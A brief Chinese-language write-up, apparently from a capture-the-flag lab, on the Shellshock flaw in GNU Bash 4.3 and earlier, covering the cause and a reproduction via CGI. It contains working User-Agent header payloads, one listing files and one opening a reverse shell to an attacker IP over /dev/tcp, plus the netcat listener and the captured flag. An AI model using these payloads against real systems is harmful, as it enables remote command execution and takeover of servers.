影响版本
标志:GNU Bash <= 4.3
shelshocke简介:
- shellshock即unix 系统下的bash shell的一个漏洞,Bash 4.3以及之前的版本在处理某些构造的环境变量时存在安全漏洞,向环境变量值内的函数定义后添加多余的字符串会触发此漏洞,攻击者可利用此漏洞改变或绕过环境限制,以执行任意的shell命令,甚至完全控制目标系统。
漏洞成因:
- bash使用的环境变量是通过函数名称来调用的,导致漏洞出问题是以“(){”开头定义的环境变量在命令ENV中解析成函数后,Bash执行并未退出,而是继续解析并执行shell命令。核心的原因在于在输入的过滤中没有严格限制边界,没有做合法化的参数判断。
- 执行CGI 时会调用Bash将Referer、host、UserAgent、header等作为环境变量进行处理
漏洞复现
(1)访问页面:
(2)利用过程:
User-Agent: () { :;};echo ;echo $(/bin/ls -al); #列出bin目录下所有文件
反弹shell
User-Agent: () { :;};echo ; /bin/bash -i >& /dev/tcp/192.168.111.181/12345 0>&1;
#192.168.111.181为攻击机的ip
#攻击机监听12345端口,等待服务器解析完恶意代码,接受反弹回来的shell
nc -lvvp 12345
bash-4.3$ whomai
bash-4.3$ ls
cd /tmp #拿flag:flag-{bmh93c08202-4584-4bdd-9aae-59fd613510e8}
#成功通过